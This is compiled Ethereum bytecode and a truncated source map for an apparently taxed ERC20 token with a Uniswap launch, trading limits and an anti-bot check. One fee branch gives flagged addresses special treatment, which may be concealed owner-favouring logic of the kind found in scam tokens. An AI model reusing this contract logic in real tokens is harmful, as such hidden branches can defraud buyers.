57600080fd5b5060408051808201909152600381526229a7a160e91b6020820152610155565b34801561031357600080fd5b50610225610646565b34801561032857600080fd5b5061018b6103373660046116dc565b61089d565b34801561034857600080fd5b506101b160095481565b34801561035e57600080fd5b506102256108aa565b34801561037357600080fd5b506101b1610382366004611766565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ba338484610a81565b5060015b92915050565b60006103d26009600a611899565b6103e090633b9aca006118a8565b905090565b60006103f2848484610ba6565b610444843361043f85604051806060016040528060288152602001611a52602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110f7565b610a81565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906118c7565b60405180910390fd5b601454600160a01b900460ff16156104db5760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610478565b47806105295760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610478565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610562573d6000803e3d6000fd5b5050565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610478906118c7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106045760405162461bcd60e51b8152600401610478906118c7565b600019600781905560088190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146106705760405162461bcd60e51b8152600401610478906118c7565b601454600160a01b900460ff16156106c45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070d9030906106ff6009600a611899565b61043f90633b9aca006118a8565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906118fc565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080a91906118fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b91906118fc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103ba338484610ba6565b6000546001600160a01b031633146108d45760405162461bcd60e51b8152600401610478906118c7565b601454600160a01b900460ff16156109285760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b6013546006546001600160a01b039091169063f305d71990479030906000806109596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e69190611919565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190611947565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b6001600160a01b038316610ae35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610b445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610478565b6001600160a01b038216610c6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610478565b60008111610cce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b601454600160b01b900460ff161580610cf05750601454600160a81b900460ff165b15610d89576001600160a01b038316600090815260016020526040902054610d189082611131565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610d47908261117a565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a7a83398151915290610b999085815260200190565b600080546001600160a01b03858116911614801590610db657506000546001600160a01b03848116911614155b156110e457600f5460125411610dce57600b54610dd2565b600d545b6014549091506001600160a01b038581169116148015610e0057506013546001600160a01b03848116911614155b15610f0a57600754821115610e575760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610478565b60085482610e7a856001600160a01b031660009081526001602052604090205490565b610e849190611969565b1115610ed25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b436005546003610ee29190611969565b1115610ef457823b15610ef457600080fd5b60128054906000610f048361197c565b91905055505b6014546001600160a01b03848116911614801590610f4157506001600160a01b03831660009081526003602052604090205460ff16155b15610fc15760085482610f69856001600160a01b031660009081526001602052604090205490565b610f739190611969565b1115610fc15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b6014546001600160a01b038481169116148015610fe757506001600160a01b0384163014155b156110065760105460125411610fff57600c54611003565b600e545b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561103d57506014546001600160a01b038581169116145b80156110525750601454600160b01b900460ff165b80156110615750601154601254115b801561108657506001600160a01b03851660009081526003602052604090205460ff16155b80156110ab57506001600160a01b03841660009081526003602052604090205460ff16155b156110e25760095481106110d6576110d66110d1846110cc84600a546111d9565b6111d9565b6111ee565b476110e047611368565b505b505b6110f184848484886113a2565b50505050565b6000818484111561111b5760405162461bcd60e51b81526004016104789190611676565b5060006111288486611995565b95945050505050565b600061117383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f7565b9392505050565b6000806111878385611969565b9050838110156111735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b60008183116111e85782611173565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611236576112366119a8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b391906118fc565b816001815181106112c6576112c66119a8565b6001600160a01b0392831660209182029290920101526013546112ec9130911684610a81565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113259085906000908690309042906004016119be565b600060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610562573d6000803e3d6000fd5b60006113b960646113b385876114ec565b9061156e565b6001600160a01b0387166000908152600360208190526040909120549192509060ff16156113e5575060645b606481101561145b578115611456573060009081526001602052604090205461140e908361117a565b30600081815260016020526040908190209290925590516001600160a01b03891690600080516020611a7a8339815191529061144d9086815260200190565b60405180910390a35b6114d7565b61148c61146d60646113b384896114ec565b6001600160a01b0385166000908152600160205260409020549061117a565b6001600160a01b038085166000818152600160205260409081902093909355915190891690600080516020611a7a833981519152906114ce9089815260200190565b60405180910390a35b6114e3878787856115b0565b50505050505050565b6000826000036114fe575060006103be565b600061150a83856118a8565b9050826115178583611a2f565b146111735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b600061117383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611648565b6001600160a01b0384166000908152600160205260409020546115d39083611131565b6001600160a01b0385166000908152600160205260409020556115f961146d8383611131565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611a7a8339815191526116318585611131565b60405190815260200160405180910390a350505050565b600081836116695760405162461bcd60e51b81526004016104789190611676565b5060006111288486611a2f565b600060208083528351808285015260005b818110156116a357858101830151858201604001528201611687565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116d957600080fd5b50565b600080604083850312156116ef57600080fd5b82356116fa816116c4565b946020939093013593505050565b60008060006060848603121561171d57600080fd5b8335611728816116c4565b92506020840135611738816116c4565b929592945050506040919091013590565b60006020828403121561175b57600080fd5b8135611173816116c4565b6000806040838503121561177957600080fd5b8235611784816116c4565b91506020830135611794816116c4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117f05781600019048211156117d6576117d661179f565b808516156117e357918102915b93841c93908002906117ba565b509250929050565b600082611807575060016103be565b81611814575060006103be565b816001811461182a576002811461183457611850565b60019150506103be565b60ff8411156118455761184561179f565b50506001821b6103be565b5060208310610133831016604e8410600b8410161715611873575081810a6103be565b61187d83836117b5565b80600019048211156118915761189161179f565b029392505050565b600061117360ff8416836117f8565b60008160001904831182151516156118c2576118c261179f565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190e57600080fd5b8151611173816116c4565b60008060006060848603121561192e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195957600080fd5b8151801515811461117357600080fd5b808201808211156103be576103be61179f565b60006001820161198e5761198e61179f565b5060010190565b818103818111156103be576103be61179f565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a0e5784516001600160a01b0316835293830193918301916001016119e9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a4c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212206997b91896d7822e34a4492b03a450a75bb15f634cfda3a7b7614c9725998f7a64736f6c63430008100033

4017:9897:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7642:83;;;;;;;;;;-1:-1:-1;7712:5:0;;;;;;;;;;;;-1:-1:-1;;;7712:5:0;;;;7642:83;;;;;;;:::i;:::-;;;;;;;;8525:186;;;;;;;;;;-1:-1:-1;8525:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8525:186:0;1023:187:1;4838:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4838:57:0;1215:177:1;7919:95:0;;;;;;;;;;;;;:::i;8719:446::-;;;;;;;;;;-1:-1:-1;8719:446:0;;;;;:::i;:::-;;:::i;7828:83::-;;;;;;;;;;-1:-1:-1;7828:83:0;;4385:1;2000:36:1;;1988:2;1973:18;7828:83:0;1858:184:1;10257:295:0;;;;;;;;;;;;;:::i;:::-;;8022:119;;;;;;;;;;-1:-1:-1;8022:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8115:18:0;8088:7;8115:18;;;:9;:18;;;;;;;8022:119;3862:148;;;;;;;;;;;;;:::i;6971:172::-;;;;;;;;;;;;;:::i;4643:58::-;;;;;;;;;;;;;;;;3648:79;;;;;;;;;;-1:-1:-1;3686:7:0;3713:6;3648:79;;-1:-1:-1;;;;;3713:6:0;;;2445:51:1;;2433:2;2418:18;3648:79:0;2299:203:1;4708:60:0;;;;;;;;;;;;;;;;7733:87;;;;;;;;;;-1:-1:-1;7805:7:0;;;;;;;;;;;;-1:-1:-1;;;7805:7:0;;;;7733:87;;10894:456;;;;;;;;;;;;;:::i;8149:192::-;;;;;;;;;;-1:-1:-1;8149:192:0;;;;;:::i;:::-;;:::i;4775:56::-;;;;;;;;;;;;;;;;9516:518;;;;;;;;;;;;;:::i;8349:168::-;;;;;;;;;;-1:-1:-1;8349:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8482:18:0;;;8455:7;8482:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8349:168;8525:186;8625:4;8642:39;3130:10;8665:7;8674:6;8642:8;:39::i;:::-;-1:-1:-1;8699:4:0;8525:186;;;;;:::o;7919:95::-;7972:7;4557:15;4385:1;4557:2;:15;:::i;:::-;4541:31;;:13;:31;:::i;:::-;7992:14;;7919:95;:::o;8719:446::-;8851:4;8868:36;8878:6;8886:9;8897:6;8868:9;:36::i;:::-;8915:220;8938:6;3130:10;8986:138;9042:6;8986:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8986:19:0;;;;;;:11;:19;;;;;;;;3130:10;8986:33;;;;;;;;;;:37;:138::i;:::-;8915:8;:220::i;:::-;-1:-1:-1;9153:4:0;8719:446;;;;;:::o;10257:295::-;3775:6;;-1:-1:-1;;;;;3775:6:0;3130:10;3775:22;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;;;;;;;;;10316:11:::1;::::0;-1:-1:-1;;;10316:11:0;::::1;;;10315:12;10307:56;;;::::0;-1:-1:-1;;;10307:56:0;;5151:2:1;10307:56:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:33;5209:18;;;5202:61;5280:18;;10307:56:0::1;4949:355:1::0;10307:56:0::1;10400:21;10440:19:::0;10432:59:::1;;;::::0;-1:-1:-1;;;10432:59:0;;5511:2:1;10432:59:0::1;::::0;::::1;5493:21:1::0;5550:2;5530:18;;;5523:30;5589:29;5569:18;;;5562:57;5636:18;;10432:59:0::1;5309:351:1::0;10432:59:0::1;3686:7:::0;3713:6;;10502:42:::1;::::0;-1:-1:-1;;;;;3713:6:0;;;;10502:42;::::1;;;::::0;10528:15;;10502:42;3686:7;10502:42;10528:15;3713:6;10502:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10296:256;10257:295::o:0;3862:148::-;3775:6;;-1:-1:-1;;;;;3775:6:0;3130:10;3775:22;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;3969:1:::1;3953:6:::0;;3932:40:::1;::::0;-1:-1:-1;;;;;3953:6:0;;::::1;::::0;3932:40:::1;::::0;3969:1;;3932:40:::1;4000:1;3983:19:::0;;-1:-1:-1;;;;;;3983:19:0::1;::::0;;3862:148::o;6971:172::-;3775:6;;-1:-1:-1;;;;;3775:6:0;3130:10;3775:22;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;-1:-1:-1;;7023:12:0::1;:26:::0;;;7060:14:::1;:28:::0;;;7104:31:::1;::::0;1361:25:1;;;7104:31:0::1;::::0;1349:2:1;1334:18;7104:31:0::1;;;;;;;6971:172::o:0;10894:456::-;3775:6;;-1:-1:-1;;;;;3775:6:0;3130:10;3775:22;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;10955:11:::1;::::0;-1:-1:-1;;;10955:11:0;::::1;;;10954:12;10946:48;;;::::0;-1:-1:-1;;;10946:48:0;;5867:2:1;10946:48:0::1;::::0;::::1;5849:21:1::0;5906:2;5886:18;;;5879:30;-1:-1:-1;;;5925:18:1;;;5918:53;5988:18;;10946:48:0::1;5665:347:1::0;10946:48:0::1;11007:15;:104:::0;;-1:-1:-1;;;;;;11007:104:0::1;11058:42;11007:104:::0;;::::1;::::0;;;11124:58:::1;::::0;11141:4:::1;::::0;4557:15:::1;4385:1;4557:2;:15;:::i;:::-;4541:31;::::0;:13:::1;:31;:::i;11124:58::-;11229:15;;;;;;;;;-1:-1:-1::0;;;;;11229:15:0::1;-1:-1:-1::0;;;;;11229:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11211:55:0::1;;11289:4;11309:15;;;;;;;;;-1:-1:-1::0;;;;;11309:15:0::1;-1:-1:-1::0;;;;;11309:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11211:131;::::0;-1:-1:-1;;;;;;11211:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6503:15:1;;;11211:131:0::1;::::0;::::1;6485:34:1::0;6555:15;;6535:18;;;6528:43;6420:18;;11211:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11195:13;:147:::0;;-1:-1:-1;;;;;;11195:147:0::1;-1:-1:-1::0;;;;;11195:147:0;;;::::1;::::0;;;::::1;::::0;;10894:456::o;8149:192::-;8252:4;8269:42;3130:10;8293:9;8304:6;8269:9;:42::i;9516:518::-;3775:6;;-1:-1:-1;;;;;3775:6:0;3130:10;3775:22;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;9578:11:::1;::::0;-1:-1:-1;;;9578:11:0;::::1;;;9577:12;9569:48;;;::::0;-1:-1:-1;;;9569:48:0;;5867:2:1;9569:48:0::1;::::0;::::1;5849:21:1::0;5906:2;5886:18;;;5879:30;-1:-1:-1;;;5925:18:1;;;5918:53;5988:18;;9569:48:0::1;5665:347:1::0;9569:48:0::1;9630:15;::::0;9734:9:::1;::::0;-1:-1:-1;;;;;9630:15:0;;::::1;::::0;:31:::1;::::0;9669:21:::1;::::0;9714:4:::1;::::0;9630:15:::1;::::0;9790:7:::1;3686::::0;3713:6;-1:-1:-1;;;;;3713:6:0;;3648:79;9790:7:::1;9630:208;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9630:208:0;;;-1:-1:-1;;;;;6941:15:1;;;9630:208:0::1;::::0;::::1;6923:34:1::0;6973:18;;;6966:34;;;;7016:18;;;7009:34;;;;7059:18;;;7052:34;7123:15;;;7102:19;;;7095:44;9812:15:0::1;7155:19:1::0;;;7148:35;6857:19;;9630:208:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9858:13:0::1;::::0;9889:15:::1;::::0;9851:71:::1;::::0;-1:-1:-1;;;9851:71:0;;-1:-1:-1;;;;;9889:15:0;;::::1;9851:71;::::0;::::1;7679:51:1::0;-1:-1:-1;;7746:18:1;;;7739:34;9858:13:0;::::1;::::0;-1:-1:-1;9851:29:0::1;::::0;7652:18:1;;9851:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9943:11:0::1;:18:::0;;-1:-1:-1;;;;9972:18:0;-1:-1:-1;;;9972:18:0;;;10014:12:::1;10001:10;:25:::0;9516:518::o;9173:335::-;-1:-1:-1;;;;;9266:19:0;;9258:68;;;;-1:-1:-1;;;9258:68:0;;8268:2:1;9258:68:0;;;8250:21:1;8307:2;8287:18;;;8280:30;8346:34;8326:18;;;8319:62;-1:-1:-1;;;8397:18:1;;;8390:34;8441:19;;9258:68:0;8066:400:1;9258:68:0;-1:-1:-1;;;;;9345:21:0;;9337:68;;;;-1:-1:-1;;;9337:68:0;;8673:2:1;9337:68:0;;;8655:21:1;8712:2;8692:18;;;8685:30;8751:34;8731:18;;;8724:62;-1:-1:-1;;;8802:18:1;;;8795:32;8844:19;;9337:68:0;8471:398:1;9337:68:0;-1:-1:-1;;;;;9416:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9468:32;;1361:25:1;;;9468:32:0;;1334:18:1;9468:32:0;;;;;;;;9173:335;;;:::o;11395:2516::-;-1:-1:-1;;;;;11483:18:0;;11475:68;;;;-1:-1:-1;;;11475:68:0;;9076:2:1;11475:68:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:34;9134:18;;;9127:62;-1:-1:-1;;;9205:18:1;;;9198:35;9250:19;;11475:68:0;8874:401:1;11475:68:0;-1:-1:-1;;;;;11562:16:0;;11554:64;;;;-1:-1:-1;;;11554:64:0;;9482:2:1;11554:64:0;;;9464:21:1;9521:2;9501:18;;;9494:30;9560:34;9540:18;;;9533:62;-1:-1:-1;;;9611:18:1;;;9604:33;9654:19;;11554:64:0;9280:399:1;11554:64:0;11646:1;11637:6;:10;11629:64;;;;-1:-1:-1;;;11629:64:0;;9886:2:1;11629:64:0;;;9868:21:1;9925:2;9905:18;;;9898:30;9964:34;9944:18;;;9937:62;-1:-1:-1;;;10015:18:1;;;10008:39;10064:19;;11629:64:0;9684:405:1;11629:64:0;11709:11;;-1:-1:-1;;;11709:11:0;;;;11708:12;;:22;;-1:-1:-1;11724:6:0;;-1:-1:-1;;;11724:6:0;;;;11708:22;11704:223;;;-1:-1:-1;;;;;11765:15:0;;;;;;:9;:15;;;;;;:27;;11785:6;11765:19;:27::i;:::-;-1:-1:-1;;;;;11747:15:0;;;;;;;:9;:15;;;;;;:45;;;;11823:13;;;;;;;:25;;11841:6;11823:17;:25::i;:::-;-1:-1:-1;;;;;11807:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11868:26;;;;;;-1:-1:-1;;;;;;;;;;;11868:26:0;;;11887:6;1361:25:1;;1349:2;1334:18;;1215:177;11704:223:0;11937:16;3713:6;;-1:-1:-1;;;;;11972:15:0;;;3713:6;;11972:15;;;;:32;;-1:-1:-1;3686:7:0;3713:6;-1:-1:-1;;;;;11991:13:0;;;3713:6;;11991:13;;11972:32;11968:1874;;;12045:15;;12033:9;;:27;12032:61;;12079:14;;12032:61;;;12064:12;;12032:61;12122:13;;12021:72;;-1:-1:-1;;;;;;12114:21:0;;;12122:13;;12114:21;:55;;;;-1:-1:-1;12153:15:0;;-1:-1:-1;;;;;12139:30:0;;;12153:15;;12139:30;;12114:55;12110:464;;;12208:12;;12198:6;:22;;12190:59;;;;-1:-1:-1;;;12190:59:0;;10296:2:1;12190:59:0;;;10278:21:1;10335:2;10315:18;;;10308:30;10374:26;10354:18;;;10347:54;10418:18;;12190:59:0;10094:348:1;12190:59:0;12324:14;;12314:6;12298:13;12308:2;-1:-1:-1;;;;;8115:18:0;8088:7;8115:18;;;:9;:18;;;;;;;8022:119;12298:13;:22;;;;:::i;:::-;:40;;12268:140;;;;-1:-1:-1;;;12268:140:0;;10779:2:1;12268:140:0;;;10761:21:1;10818:2;10798:18;;;10791:30;10857:28;10837:18;;;10830:56;10903:18;;12268:140:0;10577:350:1;12268:140:0;12448:12;12431:10;;12444:1;12431:14;;;;:::i;:::-;:29;12427:102;;;6899:20;;6947:8;12485:24;;;;;;12547:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12110:464;12600:13;;-1:-1:-1;;;;;12594:19:0;;;12600:13;;12594:19;;;;:46;;-1:-1:-1;;;;;;12618:22:0;;;;;;:18;:22;;;;;;;;12617:23;12594:46;12590:227;;;12717:14;;12707:6;12691:13;12701:2;-1:-1:-1;;;;;8115:18:0;8088:7;8115:18;;;:9;:18;;;;;;;8022:119;12691:13;:22;;;;:::i;:::-;:40;;12661:140;;;;-1:-1:-1;;;12661:140:0;;10779:2:1;12661:140:0;;;10761:21:1;10818:2;10798:18;;;10791:30;10857:28;10837:18;;;10830:56;10903:18;;12661:140:0;10577:350:1;12661:140:0;12843:13;;-1:-1:-1;;;;;12837:19:0;;;12843:13;;12837:19;:44;;;;-1:-1:-1;;;;;;12860:21:0;;12876:4;12860:21;;12837:44;12833:202;;;12926:16;;12914:9;;:28;12913:106;;13004:15;;12913:106;;;12967:13;;12913:106;12902:117;;12833:202;13100:4;13051:28;8115:18;;;:9;:18;;;;;;13144:6;;-1:-1:-1;;;13144:6:0;;;;13143:7;:47;;;;-1:-1:-1;13177:13:0;;-1:-1:-1;;;;;13171:19:0;;;13177:13;;13171:19;13143:47;:79;;;;-1:-1:-1;13211:11:0;;-1:-1:-1;;;13211:11:0;;;;13143:79;:130;;;;;13255:18;;13243:9;;:30;13143:130;:176;;;;-1:-1:-1;;;;;;13295:24:0;;;;;;:18;:24;;;;;;;;13294:25;13143:176;:220;;;;-1:-1:-1;;;;;;13341:22:0;;;;;;:18;:22;;;;;;;;13340:23;13143:220;13121:710;;;13425:17;;13401:20;:41;13398:206;;13467:117;13510:51;13514:6;13522:38;13526:20;13548:11;;13522:3;:38::i;:::-;13510:3;:51::i;:::-;13467:16;:117::i;:::-;13669:21;13761:35;13774:21;13761:12;:35::i;:::-;13379:452;13121:710;12006:1836;11968:1874;13854:49;13870:4;13876:2;13880:6;13888:8;13898:4;13854:15;:49::i;:::-;11464:2447;11395:2516;;;:::o;2161:224::-;2281:7;2317:12;2309:6;;;;2301:29;;;;-1:-1:-1;;;2301:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2341:9:0;2353:5;2357:1;2353;:5;:::i;:::-;2341:17;2161:224;-1:-1:-1;;;;;2161:224:0:o;2017:136::-;2075:7;2102:43;2106:1;2109;2102:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2095:50;2017:136;-1:-1:-1;;;2017:136:0:o;1830:179::-;1888:7;;1920:5;1924:1;1920;:5;:::i;:::-;1908:17;;1949:1;1944;:6;;1936:46;;;;-1:-1:-1;;;1936:46:0;;11407:2:1;1936:46:0;;;11389:21:1;11446:2;11426:18;;;11419:30;11485:29;11465:18;;;11458:57;11532:18;;1936:46:0;11205:351:1;10042:107:0;10099:7;10131:1;10127;:5;10126:15;;10140:1;10126:15;;;-1:-1:-1;10136:1:0;10042:107;-1:-1:-1;10042:107:0:o;7151:483::-;5514:6;:13;;-1:-1:-1;;;;5514:13:0;-1:-1:-1;;;5514:13:0;;;7253:16:::1;::::0;;7267:1:::1;7253:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7253:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7253:16:0::1;7229:40;;7298:4;7280;7285:1;7280:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7280:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7324:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7324:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7280:7;;7324:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7314:4;7319:1;7314:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7314:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7389:15:::1;::::0;7357:62:::1;::::0;7374:4:::1;::::0;7389:15:::1;7407:11:::0;7357:8:::1;:62::i;:::-;7430:15;::::0;:196:::1;::::0;-1:-1:-1;;;7430:196:0;;-1:-1:-1;;;;;7430:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7511:11;;7430:15:::1;::::0;7553:4;;7580::::1;::::0;7600:15:::1;::::0;7430:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5550:6:0;:14;;-1:-1:-1;;;;5550:14:0;;;-1:-1:-1;;;;7151:483:0:o;10157:92::-;10214:10;;:27;;-1:-1:-1;;;;;10214:10:0;;;;:27;;;;;10234:6;;10214:10;:27;:10;:27;10234:6;10214:10;:27;;;;;;;;;;;;;;;;;;;5932:828;6103:17;6123:29;6148:3;6123:20;:8;6136:6;6123:12;:20::i;:::-;:24;;:29::i;:::-;-1:-1:-1;;;;;6197:24:0;;6163:15;6197:24;;;6181:1;6197:24;;;;;;;;;6103:49;;-1:-1:-1;6181:1:0;6197:24;;6193:43;;;-1:-1:-1;6233:3:0;6193:43;6261:3;6251:7;:13;6247:449;;;6285:13;;6281:224;;6364:4;6346:24;;;;:9;:24;;;;;;:79;;6397:9;6346:28;:79::i;:::-;6337:4;6319:24;;;;:9;:24;;;;;;;:106;;;;6449:40;;-1:-1:-1;;;;;6449:40:0;;;-1:-1:-1;;;;;;;;;;;6449:40:0;;;6479:9;1361:25:1;;1349:2;1334:18;;1215:177;6449:40:0;;;;;;;;6281:224;6247:449;;;6555:81;6593:28;6617:3;6593:19;:7;6605:6;6593:11;:19::i;:28::-;-1:-1:-1;;;;;6555:15:0;;;;;;:9;:15;;;;;;;:19;:81::i;:::-;-1:-1:-1;;;;;6537:15:0;;;;;;;:9;:15;;;;;;;:99;;;;6656:28;;;;;;-1:-1:-1;;;;;;;;;;;6656:28:0;;;6677:6;1361:25:1;;1349:2;1334:18;;1215:177;6656:28:0;;;;;;;;6247:449;6708:44;6724:4;6730:2;6734:6;6742:9;6708:15;:44::i;:::-;6092:668;;5932:828;;;;;:::o;2393:246::-;2451:7;2475:1;2480;2475:6;2471:47;;-1:-1:-1;2505:1:0;2498:8;;2471:47;2528:9;2540:5;2544:1;2540;:5;:::i;:::-;2528:17;-1:-1:-1;2573:1:0;2564:5;2568:1;2528:17;2564:5;:::i;:::-;:10;2556:56;;;;-1:-1:-1;;;2556:56:0;;13234:2:1;2556:56:0;;;13216:21:1;13273:2;13253:18;;;13246:30;13312:34;13292:18;;;13285:62;-1:-1:-1;;;13363:18:1;;;13356:31;13404:19;;2556:56:0;13032:397:1;2647